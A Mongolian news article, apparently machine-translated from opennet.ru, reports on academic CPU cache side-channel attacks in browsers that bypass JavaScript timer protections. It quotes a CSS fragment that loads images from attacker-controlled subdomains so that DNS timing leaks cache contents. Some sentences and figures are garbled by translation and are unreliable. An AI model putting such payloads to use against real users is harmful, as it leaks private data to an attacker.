JavaScript-гүй вэб хөтөч дээр хэрэгжсэн CPU кэш задлах халдлага

Америк, Израиль, Австралийн хэд хэдэн их сургуулийн судлаачдын баг процессорын кэшийн агуулгыг задлах зорилгоор вэб хөтчүүд дээр ажилладаг гурван халдлага зохион бүтээжээ. Нэг арга нь JavaScript-гүй хөтчүүдэд ажилладаг бөгөөд нөгөө хоёр нь Tor хөтөч болон DeterFox-д ашиглагддаг хажуугийн сувгийн халдлагаас хамгаалах одоо байгаа аргуудыг алгасдаг. Халдлагыг харуулах код, түүнчлэн халдлагад шаардлагатай серверийн бүрэлдэхүүн хэсгүүдийг GitHub дээр нийтэлсэн.

Кэшийн агуулгыг шинжлэхийн тулд бүх халдлагууд нь кэшийг стандарт утгуудаар дүүргэх, дахин дүүргэх үед хандах хугацааг хэмжих замаар өөрчлөлтийг илрүүлэх зэрэг Prime+Probe аргыг ашигладаг. Цагийг үнэн зөв хэмжихэд саад учруулдаг хөтчүүдийн аюулгүй байдлын механизмыг тойрч гарахын тулд хоёр хувилбараар халдагчийн удирддаг DNS эсвэл WebSocket сервер рүү ханддаг бөгөөд энэ нь хүлээн авсан хүсэлтийн цагийг бүртгэдэг. Нэг хувилбарт тогтмол DNS хариу өгөх хугацааг цагийн лавлагаа болгон ашигладаг.

Машины сургалтанд суурилсан ангиллын системийг ашиглан гадаад DNS эсвэл WebSocket сервер ашиглан хийсэн хэмжилтүүд нь хамгийн оновчтой хувилбарт (дунджаар 98-80%) 90% хүртэл нарийвчлалтай утгыг урьдчилан таамаглахад хангалттай байв. Довтолгооны аргуудыг янз бүрийн техник хангамжийн платформ (Intel, AMD Ryzen, Apple M1, Samsung Exynos) дээр туршиж үзсэн бөгөөд бүх нийтийнх болох нь батлагдсан.

JavaScript-гүй вэб хөтөч дээр хэрэгжсэн CPU кэш задлах халдлага

DNS Racing халдлагын эхний хувилбар нь JavaScript массив ашиглан Prime+Probe аргын сонгодог хувилбарыг ашигладаг. Энэ ялгаа нь гадаад DNS-д суурилсан таймер болон алдаа гаргагч ашиглахад хүргэдэг бөгөөд энэ нь байхгүй домэйноос зураг ачаалах оролдлого хийх үед үүсдэг. Гадаад таймер нь JavaScript таймеруудад хандах хандалтыг хязгаарлах эсвэл бүрмөсөн идэвхгүй болгох хөтчүүд дээр Prime+Probe халдлага хийх боломжийг олгодог.

Нэг Ethernet сүлжээнд байрладаг DNS серверийн хувьд таймерын нарийвчлалыг ойролцоогоор 2 мс гэж тооцдог бөгөөд энэ нь хажуугийн сувгийн халдлага хийхэд хангалттай (харьцуулахын тулд Tor Browser дахь стандарт JavaScript таймерын нарийвчлал нь дараах байдалтай байна). 100 мс хүртэл багасгасан). Довтолгооны хувьд DNS серверийг хянах шаардлагагүй, учир нь DNS-ийн хариу өгөх хугацаа нь шалгалтыг эрт дуусгасны шинж тэмдэг болдог (алдаа гаргагчийг идэвхжүүлсэн эсэхээс хамаарна) эрт эсвэл хожим нь кэштэй шалгах ажиллагааны хурдны талаар дүгнэлт гаргадаг).

Хоёрдахь халдлагын арга "String and Sock" нь JavaScript дахь массивын доод түвшний хэрэглээг хязгаарладаг аюулгүй байдлын техникийг тойрч гарах зорилготой юм. Массивын оронд String and Sock нь маш том мөрүүд дээрх үйлдлүүдийг ашигладаг бөгөөд тэдгээрийн хэмжээ нь хувьсагч нь ХХК-ийн кэшийг бүхэлд нь хамардаг (Сүүлийн түвшний кэш). Дараа нь indexOf() функцийг ашиглан эх мөрөнд эхэндээ байхгүй жижиг дэд мөрийг хайдаг, өөрөөр хэлбэл. хайлтын үйл ажиллагааны үр дүнд бүхэл мөрийг давтдаг. Шугамын хэмжээ нь ХХК-ийн кэшийн хэмжээтэй тохирч байгаа тул сканнердах нь массивыг удирдахгүйгээр кэш шалгах ажиллагааг гүйцэтгэх боломжийг олгодог. Сааталыг хэмжихийн тулд DNS-ийн оронд халдагчийн удирддаг WebSocket сервер рүү дуудлага хийдэг - хайлтын ажиллагаа дуусахаас өмнө болон дараа нь мөрөнд асуулга илгээдэг бөгөөд үүний үндсэн дээр сервер кэшийг шинжлэхэд ашигласан саатлыг тооцдог. агуулга.

“CSS PP0” халдлагын гурав дахь хувилбар нь HTML болон CSS-ээр хэрэгждэг бөгөөд JavaScript идэвхгүй болсон хөтөч дээр ажиллах боломжтой. Энэ арга нь "String and Sock"-тэй төстэй боловч JavaScript-тэй холбоогүй. Довтолгооны үеэр маскаар хайлт хийх CSS сонгогчийг үүсгэдэг. Кэшийг дүүргэх анхны том мөрийг маш том ангийн нэртэй div тагийг үүсгэснээр тохируулна. Дотор нь өөрийн таних тэмдэгтэй бусад div-ийн багц байдаг. Эдгээр үүрлэсэн div-ууд тус бүр нь дэд мөрийг хайдаг сонгогчтой өөрийн гэсэн загвартай байдаг. Хуудсыг дүрслэх үед хөтөч эхлээд дотоод div-г боловсруулахыг оролддог бөгөөд энэ нь том мөрөнд хайлтын үйлдлийг үүсгэдэг. Хайлт нь зориудаар алга болсон маск ашиглан хийгдэж, бүхэл бүтэн мөрийг давтахад хүргэдэг бөгөөд үүний дараа "үгүй" нөхцөл үүсэж, санамсаргүй домэйнуудын дэвсгэр зургийг ачаалах оролдлого хийдэг. #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … X X ...

Дэд домайнууд нь халдагчийн DNS серверээр үйлчилдэг бөгөөд энэ нь хүсэлт хүлээн авах саатлыг хэмжих боломжтой. DNS сервер нь бүх хүсэлтэд NXDOMAIN-г гаргаж, хүсэлтийн яг цаг хугацааны бүртгэлийг хөтөлдөг. Олон тооны div файлуудыг боловсруулсны үр дүнд халдагчийн DNS сервер хэд хэдэн хүсэлтийг хүлээн авдаг бөгөөд тэдгээрийн хоорондох саатал нь кэшийн агуулгыг шалгасны үр дүнтэй хамааралтай байдаг.

JavaScript-гүй вэб хөтөч дээр хэрэгжсэн CPU кэш задлах халдлага


Эх сурвалж: opennet.ru

сэтгэгдэл нэмэх